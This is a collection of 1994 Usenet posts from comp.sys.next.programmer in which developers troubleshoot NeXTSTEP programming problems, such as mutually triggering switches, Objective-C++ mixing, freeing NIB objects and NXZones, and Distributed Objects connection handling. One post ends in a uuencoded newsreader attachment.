Zeyd M. Ben-Halim zmbenhal@netcom.com -- --- Zeyd M. Ben-Halim zmbenhal@netcom.com 10479 1/4 Santa Monica Blvd, LA, CA, 90025 (310) 470-0281
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: Two Switch Paradox Date: 24 Feb 1994 05:07:57 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2khcnd$rla@senator-bedfellow.MIT.EDU> References: <2kevqb$6o7@senator-bedfellow.MIT.EDU> <2kg0uc$clk@crcnis1.unl.edu> In article <2kg0uc$clk@crcnis1.unl.edu> me@ienext.unl.edu writes: >In article <2kevqb$6o7@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU >(Eric M Hermanson) writes: >: Drag two switches onto an empty Interface Builder window. Connect one >: button to the other with a performClick: message. Now connect the >: second button to the first with the same message. Run the application, >: select one of the switches, and the app crashes. >Maybe *I'm* confused, but isn't an infinite loop exactly what you would >expect to see here? When performClick: is invoked the button will invoke >the performClick: method of the other button (its target) and so on and so >on... Well, I wasn't sure if the button which was selected as a result of hitting the first button would actually send another perform click message, considering it wasn't directly clicked by the user. But I guess this is actually what _does_ happen. >Instead, why not add a new method to your button. This new method (let's Yes, I have already implemented a toggling method, but I have over 20 switches that I need this behavior with, so I was hoping to avoid writing the code. I just thought there would be a quick and dirty way to do this in IB. And actually there is. Michael Johnson of the media lab at MIT has written a very nice palette that incorporates Tcl code support in IB. I am going to try to implement the behavior with these tools (available via ftp at the mit media lab). Eric
From: mgritter@gac.edu (Mark Gritter) Newsgroups: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help Subject: Objective-C and C++ (at the same time) Date: 24 Feb 1994 04:38:19 GMT Organization: Gustavus Adolphus College Message-ID: <2khavrINN9ph@news.gac.edu> While gnu gcc (version 2.3.3) will compile both C++ and Objective C, it won't do both at once. Is there a compiler that will recognize both C++ and Objective C in the same file? (Or a way to trick gcc into doing so?) Will I have to resort to "plain" c functions to communicated between objects written in the two languages, or is there a better way? I'm writing an application for NeXTstep (which mean's I'm basically stuck with ObjC), but I would like to use a large amount of C++ code that I have already written and debugged on other platforms. Thanks in advance... -- /-Mark Gritter-----mgritter@gac.edu--------------------------\ |"Had I been present at the Creation, I would have given some| |useful hints for the better ordering of the universe." | | --ALFONSO THE WISE, KING OF CASTILE 1221-1284 | | Said after studying the Ptolemaic system. | \------------------------------------------------------------/
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Distributed Objects examples? Date: 24 Feb 1994 02:44:46 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2khlte$7tk@digifix.digifix.com> I'm looking for any examples of Distributed Objects, especially ones that use a multi-threaded server... So far I've got the two single thread ones that come with NEXTSTEP 3.2 remoteVote remoteSpot and I also found Don McGregor's Multi - a NEXTSTEP version of some NT hype program in Byte. The only other multithreaded source I've been able to find is ImagePortfolio by Martin Flynn, but it predates Distributed Objects, and is pretty hard to follow. If you have something that you wouldn't mind offering up to us DO neophytes... please let me know or just send it along. Next - we need more DO examples! Thanks Scott -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.programmer From: kieffer@gemstone.com Subject: Help: Bug in [Text findText:ignoreCase:backwards:wrap:]? Message-ID: <CLoruF.4E4@gemstone.com> Sender: kieffer@gemstone.com (z) Organization: Gemstone Systems, Inc. Date: Wed, 23 Feb 1994 16:44:38 GMT Well, this one has me stumped... I'm implementing a simple find panel using virtually identical code for findNext: and findPrevious: findNext: works perfectly... using the following: [fText findText:findString ignoreCase:ignoreCase backwards:NO wrap:YES] findPrevious: crashes (see back trace below)... using the following: [fText findText:findString ignoreCase:ignoreCase backwards:YES wrap:YES] ^^^ findPrevious: works as long as the line prior to the selection has the search string in it. If it doesn't, findPrevious: crashes. Note: I've even tried changing just the "backwards:NO" to "backwards:YES" in the findNext: method (i.e. no other changes) and that reproduces the error. I'm inclined to think that this is a bug in Text object, however Edit.app, Terminal.app, etc... all implement this just fine. What's going on here??? Many thanks, Robert Kieffer kieffer@gemstone.com --- gdb stuff --- (gdb) run Starting program: /Users/kieffer/Projects/FileWatch/FileWatch.app/FileWatch Program generated(1): Memory access exception on address 0x0 (protection failure). 0x50091ae in NXHashGet () (gdb) bt #0 0x50091ae in NXHashGet () #1 0x61049d2 in _getPrevious () #2 0x61048e0 in _doBackFindText () #3 0x6086828 in -[Text(Find) _findText:ignoreCase:loc1:loc2:backwards:wrap:] () #4 0x6086a82 in -[Text(Find) findText:ignoreCase:backwards:wrap:] () #5 0x3508 in -[FileWatchDoc findPrevious:] (self=0x149ec0, _cmd=0x89d0, sender=0xe6f98) at FileWatchDoc.m:260 (gdb) p findString $1 = 0x12de0c "test" (gdb) p ignoreCase $2 = 1 '\001'
From: mike@linnea-grind.stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Date: 23 Feb 1994 19:48:32 GMT Organization: Royal Institute of Technology, Stockholm, Sweden Message-ID: <2kgbug$jio@news.kth.se> References: <QhIbvxW00WBMQ3xG8n@andrew.cmu.edu> <CKw4n0.Ks1@fafnir.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hey! Don't forget to include Eiffel. -Mike -- Mike Henry INET : mike@stacken.kth.se /// Tomtebog. 30 /// S-113 38 Stockholm \\\/// SWEDEN TEL : +46 8 34 84 49 \XX/
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.programmer Subject: Re: Two Switch Paradox Message-ID: <1493@rtbrain.rightbrain.com> Date: 24 Feb 94 09:43:31 GMT References: <2kevqb$6o7@senator-bedfellow.MIT.EDU> Sender: glenn@rightbrain.com Eric M Hermanson writes > Why does this happen? I connected two switches together in my app because > I wanted one switch to deselect when the other selects, and vice versa, like > a two-button toggle. There is probably a better way to get this type of > behavior, but I haven't given it much thought (no, radio button won't work > since I need two separate switches). Yes, a radio button will work, if the behavior of the switches is as you describe. That's exactly what radio buttons are for, and besides, your proposed use of checkboxes is not consistent with the user interface guidelines. Radio buttons are for mutually exclusive choices, checkboxes are for options that can simultaneously exist in any combination. Your infinite loop is because you're using "performClick:", which exactly simulates clicking on the button. You've got a situation where each button causes the other to be clicked, which is indeed an infinite loop. You're gonna have to write a little bit of code to get the behavior you want. But you shouldn't; you shoud use a radio button, unless you can offer a convincing argument as to why you need two checkboxes that interact with each other. -- Glenn Reid glenn@rightbrain.com Woodside, California
Newsgroups: comp.sys.next.programmer From: c4craig@csn.org (Craig Anderson) Subject: Mux Serial bytes to read Message-ID: <CLqFot.KLy@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Thu, 24 Feb 1994 14:17:17 GMT I would like to get the count of bytes available for input from the Mux serial driver. Any thoughts on a good way to do this? Craig Anderson C4 Network Inc. 303.825.8183 craig@c4.com
Newsgroups: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: Objective-C and C++ (at the same time) In-Reply-To: mgritter@gac.edu's message of 24 Feb 1994 04:38:19 GMT Message-ID: <PFKEB.94Feb24065330@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <2khavrINN9ph@news.gac.edu> Date: Thu, 24 Feb 1994 14:53:29 GMT >>>>> On 24 Feb 1994 04:38:19 GMT, mgritter@gac.edu (Mark Gritter) said: In article <2khavrINN9ph@news.gac.edu> mgritter@gac.edu (Mark Gritter) writes: > While gnu gcc (version 2.3.3) will compile both C++ and Objective C, > it won't do both at once. Is there a compiler that will recognize > both C++ and Objective C in the same file? The NeXT version of gcc will do C++ and Objective-C at the same time. It's really a language called Objective-C++. Look at /NextDeveloper/Examples/appkit/CalculatorLab++ to see an exemple. The Objective-C++ language is a nice means of marrying your numeric model written in C++ with your GUI written in Objective-C. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help From: Ben Youngdahl <Ben.Youngdahl@cdc.com> Subject: Re: Objective-C and C++ (at the same time) Organization: Control Data Systems, Inc. Date: Thu, 24 Feb 1994 16:12:29 GMT Message-ID: <CLqL0u.9KL@cdsmail.cdc.com> References: <2khavrINN9ph@news.gac.edu> Sender: usenet@cdsmail.cdc.com (News Poster) In article <PFKEB.94Feb24065330@kaon.SLAC.Stanford.EDU> Paul F. Kunz, pfkeb@kaon.SLAC.Stanford.EDU writes: >>>>>> On 24 Feb 1994 04:38:19 GMT, mgritter@gac.edu (Mark Gritter) said: >In article <2khavrINN9ph@news.gac.edu> mgritter@gac.edu (Mark Gritter) writes: > > >> While gnu gcc (version 2.3.3) will compile both C++ and Objective C, >> it won't do both at once. Is there a compiler that will recognize >> both C++ and Objective C in the same file? > > The NeXT version of gcc will do C++ and Objective-C at the same >time. It's really a language called Objective-C++. Look at >/NextDeveloper/Examples/appkit/CalculatorLab++ to see an exemple. > > The Objective-C++ language is a nice means of marrying your numeric >model written in C++ with your GUI written in Objective-C. >-- >Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) >Stanford Linear Accelerator Center, Stanford University >Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587 This sounds interesting... is this Objective-C++ only available to NeXT users? Does it allow multiple inheritence? (I seem to remember that objective-C alone did not) Can a class have one method written in Objective-C, and another written in C++? How freely can you mix the code? Please pardon my struggling to remember objective-C syntax, but I seem to recall that one of the best things about Objective-C was the run-time binding of calling methods. I.e., you want to call the method "foo" for an object "bar", you'd do: [bar "foo"] or something like that, and if the object "bar" didn't have a "foo" method, ... no harm done. Am I correct? Ben
From: npratt@glacier.sim.es.com (Nevin Pratt) Newsgroups: comp.sys.next.programmer Subject: Re: How do you (best) free NIB objects? Date: 24 Feb 1994 16:29:25 GMT Organization: E&S Distribution: world Message-ID: <2kikl5$2de@cnn.sim.es.com> References: <2keap0$p67@dorito.cs.umd.edu> In article p67@dorito.cs.umd.edu, rgc@cs.umd.edu (Ross Garrett Cutler) writes: > I have a NIB file will lots of objects (e.g. panels with buttons) in it. > When I do a loadNibSection, the objects (templates) are instantiated. > What is the best way to free these objects when I'm done with them? > I realize I can create an outlet using the owner and delete them one at a > time, but I'm looking for an easier way (I don't need outlets to the owner > for many of the objects except for this purpose). What would be nice is > that loadNibSection would return a list of the objects instantiated and I > could just free the items in the list. (As an aside, what the heck does > loadNibSection return -- the docs only say non-null on success.) > > Any ideas? Thanks, Ross. In general, I try to keep *one* main window per NIB. I also try to keep one controller per NIB, which I call the "NIB Manager". The NIB Manager is usually the File's Owner object also, but doesn't necessarily need to be. Freeing the NIB objects is then the responsibility of the NIB Manager. Also, the NIB Manager is a delegate of the main window in the NIB (I've yet to write anything that wasn't improved by the implementation of delegate methods for the window, so having the NIB Manager be the delegate of the window is *always* the case in my code anyway). Now, the question is, *when* do you want to free all the NIB objects? One possible answer is: "when the main window in that NIB is freed." Okay, assuming this is when you want to free the NIB objects, then what I do is have the one main window in the NIB actually be a subclass of the Window class, so that I can override the '-free' method. In that method, before doing [super free], I send the window's delegate the '-free' message. The window's delegate (the NIB Manager) then free's the other NIB objects in its '-free' method before doing 'return [super free]'. With this approach, everything in the NIB gets freed when the main window in that NIB is freed. And, if I want the window to be freed when it is closed, I click on 'free when closed' in the inspector for the window within I.B. Nevin
Newsgroups: comp.sys.next.programmer From: roberto@SoftDesign.COM (Roberto Arrocha) Subject: Re: Removing / restoring Matrix cells Message-ID: <CLqMw7.14v@SoftDesign.COM> Keywords: NeXT AppKit Sender: roberto@SoftDesign.COM (Roberto Arrocha) Organization: SoftDesign, Inc. Date: Thu, 24 Feb 1994 16:52:55 GMT As a follow up to my own posting, here are some of the specifics that lead to my problem. Adding a Cell to an existing row or col is easily achieved by simply adding the cell to cellList and sizeToCells, w/o calling renewRows:cols:. If adding a Cell implies a new row or col the need to renewRows:cols: before sizeToCells arises and Matrix automatically adds enough Cells to fill the added row or col. *This* is the behavior I am trying to get around. I want to be able to add a *single* Cell, even if in a new row or col. I don't want Matrix to automatically create any new Cells. I'd hate to have to remove and free the unwanted Cells automatically added by Matrix's renewRows:cols:. Any suggestions? Roberto | Original Post: (+ clarifications) | | I have a 2-dimensional Matrix from which I would like to | programmantically remove (not delete/free) single cells and later | restore them, individually or as a group. | | Here is what I do. Suppose I want to remove aCell from w/in a | subclass of Matrix: | | /* remove aCell from cellList and store it, for later use, | in another list (called dList) */ | [dList addObject:[cellList removeObject:aCell]]; | /* let Matrix know what we've done */ | [[[self resetRowsAndCols] sizeToCells] display]; | | ..where resetRowsAndCols tries to account for the remaining rows | and cols through Matrix's renewRows:cols:. | | Question: Is there sample code that tackles the problem of "properly" | removing / restoring cells from / to a 2-dimensional Matrix? | | Does anybody see any problems with removing/restoring cells from | Matrix's cellList? | Any suggestions for things to look out for? | | Thanks. | | Roberto | | P.S.: I've look at the MiniExample CellScrollView, but it only | deals with the simple case of 1-dimensional Matrices, ..overlooking | the heart of my question. Furthermore, since these are | uncomplicated cells, this example can afford to re-load each cell | (loadCellsFrom:) each time a cell is removed/restored. I can hardly | afford the performance hit this would entail. -- Roberto SoftDesign, Inc.
From: michael@rs2.iaee.tuwien.ac.at () Newsgroups: comp.sys.next.programmer Subject: Printing! Date: 24 Feb 1994 17:10:12 GMT Organization: Technical University of Vienna Distribution: world Message-ID: <2kin1k$rsq@email.tuwien.ac.at> I have created with IB a ScrollView with my View class as docView. When I send the class a printPSCode message, only the first of 2 pages to print is actually printed. I tried to use the knowsPagesFirst method, to handle my own pagination, but it did not work at all. I could not find any simialar problems in the FAQ or Q&A. Does anybody know, what I am doing wrong? Salute SM
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Two Switch Paradox Date: 24 Feb 1994 14:58:32 -0000 Organization: me organized? That's a joke! Message-ID: <2kifao$i9@steffi.demon.co.uk> References: <2kevqb$6o7@senator-bedfellow.MIT.EDU> <1493@rtbrain.rightbrain.com> glenn@rightbrain.com wrote in comp.sys.next.programmer >Eric M Hermanson writes >> Why does this happen? I connected two switches together in my app because >> I wanted one switch to deselect when the other selects, and vice versa, >like >> a two-button toggle. There is probably a better way to get this type of >> behavior, but I haven't given it much thought (no, radio button won't work >> since I need two separate switches). > >Yes, a radio button will work, if the behavior of the switches is as >you describe. That's exactly what radio buttons are for, and besides, >your proposed use of checkboxes is not consistent with the user >interface guidelines. Radio buttons are for mutually exclusive choices, >checkboxes are for options that can simultaneously exist in any >combination. If you _aren't_ concerned about the guidelines you could probably just send setMode:NX_RADIOMODE to the Switches matrix and then the switch matrix will act like a radio button matrix. I personally hate the look of radio buttons, but I will conform to the guidelines. > >Your infinite loop is because you're using "performClick:", which >exactly simulates clicking on the button. You've got a situation >where each button causes the other to be clicked, which is indeed >an infinite loop. You're gonna have to write a little bit of code >to get the behavior you want. But you shouldn't; you shoud use a >radio button, unless you can offer a convincing argument as to why >you need two checkboxes that interact with each other. How about if you want to have _two_ matrices of switches but in some instances a selected switch in one is to deselect a switch in another. Mode is only applicable to one matrix. I'd do all of this via the appropriate target action methods together will tags. I played with this today and I got some strange behaviour. In the matrix's action I did a selectCellAt:-1 -1 and found that when I performed a getSelectedCells: the list count was getting bigger and bigger. This was really strange. I was under the impression that selectCellAt: changed the selectedCells. Straight after the selectedCellAt:-1 -1 I was selectCellAt:1 :1 to selected a fixed cell. However as I clicked on other cells, for some reason they were regarded as selected in the list returned from getSelectedCells. Note: the list was a new one each time thru the action. I expected --- I know it goes against the Marketing speil that Next put out but "You simply don't build apps in IB alone" -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: another DO question Message-ID: <1994Feb23.142918.515@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <1994Feb22.144737.2446@gamelan.uucp> Date: Wed, 23 Feb 1994 14:29:18 GMT In article <1994Feb22.144737.2446@gamelan.uucp> thf@zelator.de (Thomas Funke) writes: > In den release notes steht, dass strings (char *) die man an > einen Server schickt dort nicht freigegeben werden, d.h. der > Server waechst unendlich. Sorry for the German text. Should have been a Mail ... It meant: Sending strings (char *) to a DO server will make the server grow each time, because the strings will not be freed. That is mentioned in the release notes. Very annoying, strings seem to be quite common data types ... -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: NS for Gecko Message-ID: <CLqFBG.1An@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Thu, 24 Feb 1994 14:09:15 GMT Hello Net, did anyone of the developers in the US receive the alpha-port of NEXTSTEP for Gecko? Please answer by EMail. Gerd
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: Two Switch Paradox Date: 24 Feb 1994 18:37:30 GMT Organization: Massachusetts Institute of Technology Message-ID: <2kis5a$bjo@senator-bedfellow.MIT.EDU> References: <2kevqb$6o7@senator-bedfellow.MIT.EDU> <1493@rtbrain.rightbrain.com> In article <1493@rtbrain.rightbrain.com> glenn@rightbrain.com writes: >Eric M Hermanson writes >> a two-button toggle. There is probably a better way to get this type of >> behavior, but I haven't given it much thought (no, radio button won't work >> since I need two separate switches). >Yes, a radio button will work, if the behavior of the switches is as >you describe. That's exactly what radio buttons are for, and besides, >you shoud use a >radio button, unless you can offer a convincing argument as to why >you need two checkboxes that interact with each other. Ok, I will. :) The switches that I need to interact are in different windows, and they can't be part of the same matrix. Hence I can't use a radio button matrix. I set some switches in one window, and I want the 'dummy' switches to change their state when I click the 'real' switches. I realize that I need to write code to do this. I really wasn't asking for help, I just wanted to point out this 'infinite loop' error that I was getting. Eric
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How do you (best) free NIB objects? Date: 24 Feb 1994 18:08:50 -0000 Organization: me organized? That's a joke! Message-ID: <2kiqfi$h1@steffi.demon.co.uk> References: <2keap0$p67@dorito.cs.umd.edu> <2kikl5$2de@cnn.sim.es.com> npratt@glacier.sim.es.com wrote in comp.sys.next.programmer >In article p67@dorito.cs.umd.edu, rgc@cs.umd.edu (Ross Garrett Cutler) writes: >> I have a NIB file will lots of objects (e.g. panels with buttons) in it. >> When I do a loadNibSection, the objects (templates) are instantiated. >> What is the best way to free these objects when I'm done with them? >> I realize I can create an outlet using the owner and delete them one at a >> time, but I'm looking for an easier way (I don't need outlets to the owner >> for many of the objects except for this purpose). What would be nice is >> that loadNibSection would return a list of the objects instantiated and I >> could just free the items in the list. (As an aside, what the heck does >> loadNibSection return -- the docs only say non-null on success.) >> >> Any ideas? Thanks, Ross. > I dug this up the other day so I'm posting it again. Some of this information may have changed but I hope this leads to some useful discussion on this very important topic. and perhaps Scott can add anything that he feels is appropriate. From scott@nic.gac.edu Fri Aug 2 03:20:13 GMT 1992 Article: 587 of comp.sys.next.programmer Path: steffi.demon.co.uk!demon!news!uunet!yeshua.opl.com!zip.eecs.umich.edu!umn.edu!msc.edu!news.gac.edu!news!scott From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Tips for using NXZones w/.nibs. Date: 2 Aug 92 03:20:13 GMT Nntp-Posting-Host: nic.gac.edu Status: RO I use NXZone allocation heavily in my programs, and I've run across a number of gotchas (as have a bunch of other people). The main points I try to watch out for: o First off, here's what my -free method looks like in these cases: - free { NXZone *z=[self zone]; [super free]; if( z!=NXDefaultMallocZone()) { NXDestroyZone( z); } return nil; } First off, note the check for the default malloc zone. You do _not_ want to destroy it. Also, you may wish to put in other checks, just in case there are other instances where the NXZone shouldn't go away. o The most important hint of all. Don't assume that you can just destroy the NXZone and get away without called -free for your objects unless you really know what you are doing. Perhaps 75% of all problems with NXZones come about when people do things that they don't know how to do, just because they sound neat. An airplane is neat, but you shouldn't fly it until you've been trained. Consider the alleged time you'll save. There are a surprising number of objects in your average .nib, but there really aren't _that_ many. Let's be liberal and call it 200. It's going to take a _very_ small amount of time to -free each object individually. So do it. Then destroy the NXZone, after you _know_ that there's nothing surviving within it. Besides, most of those objects are Views in your window(s), which means you'll have to -free them _anyhow_. And you _should_ call -free on any other NeXTSTEP objects, just in case. The number of non-NeXTSTEP objects in most of my .nib files is only one - the File's Owner. Not much win in not freeing that! o All Windows have a reference on the application-wide windowList. If you don't call -free for Windows, this list is not updated and your application will crash in short order. o Watch out for PopUpLists. They aren't free by Window's when the content Views are freed. You'll have to free them by going through their cover button (you can connect to the cover button using IB): [coverButton setTarget:[[coverButton target] free]] works well. Note my paranoia - I don't know whether or not the coverButton will attempt to call its target after I free it. But, I don't know that it _won't_, and thus I plan ahead and assume that it might. If I'm wrong, I lose a couple bytes and a couple milliseconds. If I didn't do this and was wrong, my program will core dump. Don't make assumptions about source code you don't have, unless someone explicitely tells you how it works. o Put all of your NXImages as .tiff or .eps files in the Project inspector, _not_ as part of the .nib. Then, you don't have to worry about them being allocated from your .nib's NXZone, and thus in the future when you free the NXZone, you should be fine. You can still access them easily using +findImageNamed:, or name them in Buttons, just as always. Also, you get the further advantage of being able to easily edit the images without having to fight InterfaceBuilder to replace edited versions. This also works with .snd files. o Windows can free themselves, and all of their subviews. The best idea is to set the Window to be freeOnClose from the IB inspector. From your -windowWillClose: method in the delegate, do something like: - windowWillClose:sender { /* Make sure the Window doesn't talk to us anymore. [sender setDelegate:nil]; /* We should lose our local reference to the window. */ myWindow=nil; /* Don't free ourselves until later. */ return [NXApp delayedFree:self]; } myWindow is the delegate's instance variable which points to the Window. This is also only really useful when your delegate is File's Owner and acts as the "controller" for the .nib (as is the standard way people do it, see the many examples out there on archives and in /NextDeveloper/Examples). Also, you obviously shouldn't set freeOnClose if the window should hang around (like, for instance, a Find Panel). o If you can't rely on a Window to free itself, you have to watch out. When you say [myWindow free], myWindow is _not_ freed at that time. It's apparently scheduled for a delayedFree as I do above for my delegate instance. Say myZone is the NXZone that myWindow is stored in. If you do: [myWindow free]; NXDestroyZone( myZone); You are guaranteed to crash your program when it next reaches the event loop. This caused me no end of problems in Stuart (this is the direct cause of Stuart2.3 crashing when you run out of ptys). My solution is to schedule a normal close-scenario by doing: [myWindow perform:@selector( performClose:) with:nil afterDelay:1 cancelPrevious:NO]; Then, let your regular Window-closing machinery do the work. Your first thought might be to call -performClose: directly. If you've structured things like I do, that won't work. First, in -performClose:, the Window is going to call -windowWillClose:, so your delegate will schedule a -delayedFree:. Then, the Window will schedule itself to be freed via -delayedFree:. Thus, when you get back to the event loop, your -free will be called before the Window's, which will crash things again. Later, -- scott hess <shess@ssesco.com> <Who's now in a programming Berserker-frenzy> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime! <I want to become so famous that people buy tapes of me reading source code> -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: eddie@xexos.com (Eddie Chan) Subject: Re: Detection of Connection break in Distributed Ojects Message-ID: <1994Feb24.091149.3366@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1994Feb22.214918.3113@ares.fdn.org> Date: Thu, 24 Feb 1994 09:11:49 GMT In article <1994Feb22.214918.3113@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: Eddie Chan writes > Hi all, > > I am currently writing a server process which can accept > multiple clients using NXConnection. I need the server to be able to > detect if a client died and determin which client in order to log > and tidy up. > > can any help? > > eddie Hello Your problem is very easy you should read doc about [stuff deleted]; the example in the above docs. do not seem to apply to the server side of the NXConnection. If the client dies the server will not get a senderIsInvalid message (is this a bug?). But got around the problem by making another NXConnection in the reverse direction. ie. the client now become the server for the server ;-) what do the people on the net think about this solution? eddie. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P(%P*7`I);B!A<G1I M8VQE(#PQ.3DT1F5B,C(N,C$T.3$X+C,Q,3-`87)E<RYF9&XN;W)G/B!G97)Y M0&%R97,N9F1N+F]R9R`H1V5R>2!$:79R>2D@=W)I=&5S.EP*"EQP87)D7'1X M,%QT>#$Q,C!<='@R,C0P7'1X,S,V,%QT>#0T.#!<='@U-C`P7'1X-C<R,%QT M>#<X-#!<='@X.38P7'1X,3`P.#!<='@Q,3(P,%QT>#$R,S(P7'1X,3,T-#!< M='@Q-#4V,%QT>#$U-C@P7'1X,38X,#!<='@Q-SDR,%QT>#$Y,#0P7'1X,C`Q M-C!<='@R,3(X,%QF8S!<8V8P(%P*"EQP87)D7'1X,3$T,%QT>#(S,#!<='@S M-#0P7'1X-#8P,%QT>#4W-C!<='@V.3`P7'1X.#`V,%QT>#DR,#!<='@Q,#,V M,%QT>#$Q-3(P7&9C,%QC9C`@161D:64@0VAA;B!W<FET97-<"CX@2&D@86QL M+%P*/B!<"CX@"4D@86T@8W5R<F5N=&QY('=R:71I;F<@82!S97)V97(@<')O M8V5S<R!W:&EC:"!C86X@86-C97!T7`H^(&UU;'1I<&QE(&-L:65N=',@=7-I M;F<@3EA#;VYN96-T:6]N+B`@22!N965D('1H92!S97)V97(@=&\@8F4@86)L M92!T;R!<"CX@9&5T96-T(&EF(&$@8VQI96YT(&1I960@86YD(&1E=&5R;6EN M('=H:6-H(&-L:65N="!I;B!O<F1E<B!T;R!L;V=<"CX@86YD('1I9'D@=7`N M7`H^(%P*/B!C86X@86YY(&AE;'`_7`H^(%P*/B!E9&1I95P*7`I<"DAE;&QO M(%P*7`I9;W5R('!R;V)L96T@:7,@=F5R>2!E87-Y7`I<"GEO=2!S:&]U;&0@ M<F5A9"!D;V,@86)O=71<"@I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF8S!<8V8P(%P*"5MS='5F9B!D96QE=&5D73M<"EP*"71H92!E>&%M M<&QE(&EN('1H92!A8F]V92!D;V-S+B!D;R!N;W0@<V5E;2!T;R!A<'!L>2!T M;R!T:&4@<V5R=F5R('-I9&4@;V8@=&AE($Y80V]N;F5C=&EO;BX@($EF('1H M92!C;&EE;G0@9&EE<R!T:&4@<V5R=F5R('=I;&P@;F]T(&=E="!A('-E;F1E M<DES26YV86QI9"!M97-S86=E("AI<R!T:&ES(&$@8G5G/RDN("!"=70@9V]T M(&%R;W5N9"!T:&4@<')O8FQE;2!B>2!M86MI;F<@86YO=&AE<B!.6$-O;FYE M8W1I;VX@:6X@=&AE(')E=F5R<V4@9&ER96-T:6]N+B`@:64N('1H92!C;&EE M;G0@;F]W(&)E8V]M92!T:&4@<V5R=F5R(&9O<B!T:&4@<V5R=F5R(#LM*5P* M7`H)=VAA="!D;R!T:&4@<&5O<&QE(&]N('1H92!N970@=&AI;FL@86)O=70@ ==&AI<R!S;VQU=&EO;C]<"EP*961D:64N7`H*?0IN `
From: ricardo@pencom.com (Ricardo Parada) Newsgroups: comp.sys.next.programmer Subject: Re: NeXT 3.2 device driver information wanted! Date: 24 Feb 1994 20:11:44 GMT Organization: Pencom Sofware Message-ID: <2kj1m0$ekl@digdug.pencom.com> References: <2kfuqi$k3n@digdug.pencom.com> In article <CLo3B5.31s@csn.org> dhg@csn.org (David H. Goodlette) writes: > And I'm in the process of writing a NeXTSTEP 3.2 LAN device driver > for a new wiz-bang PC clone out of the UK. Within the deep recesses > of this little monster, there lies an Intel 82596 LAN controller > chip We wrote that driver for UNISYS boxes that were sold to Bozell. It's probably the only driver I've seen about as fast or maybe faster than the Intel EtherExpress. The UNISYS boxes had that same ethernet controller on-board, the Intel 82596 that uses bus mastering technology. You may be able to get it from Brent Terry (Manager of the Technology Integration group here at Pencom). The driver was written for 3.1 and then ported to 3.2 since there were some API changes. -- + Ricardo J. Parada "Imagination is more important than knowledge!"..-- Albert Einstein
From: davechao@bongo.cc.utexas.edu (David Bowser-Chao) Newsgroups: comp.sys.next.programmer Subject: Building libg++ 2.5.3 or binutils 2.3 on a Nextstation Date: 24 Feb 1994 19:15:58 GMT Organization: The University of Texas - Austin Message-ID: <2kiude$lr6@geraldo.cc.utexas.edu> Has anyone managed to do this? I can't even get configure to work. I'd appreciate any email info on installing these. David
